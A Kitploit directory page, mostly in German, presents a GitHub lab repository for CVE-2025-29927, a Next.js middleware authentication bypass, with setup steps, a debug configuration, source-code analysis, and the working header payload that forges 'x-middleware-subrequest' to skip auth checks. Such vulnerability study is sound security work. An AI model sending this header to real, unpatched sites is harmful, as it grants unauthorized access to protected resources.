Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-29927 — Next.js Middleware Auth Bypass | Kitploit
Tools/GitHubGitHub/oyst3r1ng/cve-2025-29927
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Next.js Middleware Auth Bypass

Repository anzeigen
27vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Einführung

Durch das Fälschen des x-middleware-subrequest-Anfrageheaders wird der Next.js-Middleware-Authentifizierungsmechanismus umgangen, was einen unbefugten Zugriff auf geschützte Routen ermöglicht.

Umgebungseinrichtung

Der Projektquellcode stammt von P神, Next.js-Version 15.2.2 (Für Next.js 15.x wurde dieses Problem in 15.2.3 behoben).

Schwachstellenumgebung

Stellen Sie sicher, dass Node und npm installiert sind. Überprüfen Sie die Versionen mit den folgenden Befehlen:

node -v
npm -v

Abhängigkeiten installieren und Projekt starten

# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

Oder in einem Schritt:

cd vulenv && npm install -g yarn && yarn install && npm run dev

Erfolgreich wie folgt:

alt text

alt text

Debugging-Umgebung

Konfigurieren Sie das VScode-Debugging wie folgt:

{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

Analyse

  1. Der Auslösepunkt der Schwachstelle ist wie folgt:
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

Eine Middleware-Funktion, deren Zweck es ist, die Tiefe rekursiver Aufrufe zu überprüfen, um Endlosschleifen zu vermeiden. Ihr Mechanismus hängt vom Header x-middleware-subrequest ab, der mit Doppelpunkt : in mehrere Unteranforderungsnamen aufgeteilt wird, und zählt die Anzahl, wie oft der aktuelle Middleware-Name params.name vorkommt (d.h. die Rekursionstiefe). Wenn die Rekursionstiefe den Schwellenwert (Standard MAX_RECURSION_DEPTH = 5) erreicht oder überschreitet, überspringt die Middleware die Kernlogik, wie z.B. die Authentifizierung, und fährt mit dem Anfrageverarbeitungsprozess fort.

Tipps: Vermeidung von Endlosschleifen, ungefähr wie folgt:

用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
  1. Der Ausnutzungsansatz ist wie folgt:

Der Middleware-Name ist middleware. Es kann der folgende Request-Header konstruiert werden:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Die obige Konstruktion führt zu depth = 5, was direkt Folgendes auslöst:

if (depth >= MAX_RECURSION_DEPTH)

Wenn die Anwendung die Authentifizierungslogik in der Middleware implementiert hat, führt dies dazu, dass die Middleware die Authentifizierungslogik verlässt und zurückgibt:

x-middleware-next: 1

Damit die Anfrage weiter zum Backend geleitet wird und geschützte Ressourcen ohne Authentifizierung abgerufen werden.

  1. Ausnutzung wie folgt:

Setzen Sie einen Haltepunkt an der in der folgenden Abbildung angegebenen Stelle (Pfad: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) und starten Sie dann das Debuggen.

alt text

Payload senden

alt text

Der Haltepunkt wird an der folgenden Stelle erreicht, wo man sehen kann, dass der Wert von depth 5 ist.

alt text

Setzen Sie die Ausführung fort, um auf die geschützte Ressource zuzugreifen.

alt text

PoC

Basierend auf Pocsuite3 geschrieben; Details siehe Poc_CVE-2025-29927.py.

alt text

Referenzen

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

Tool herunterladen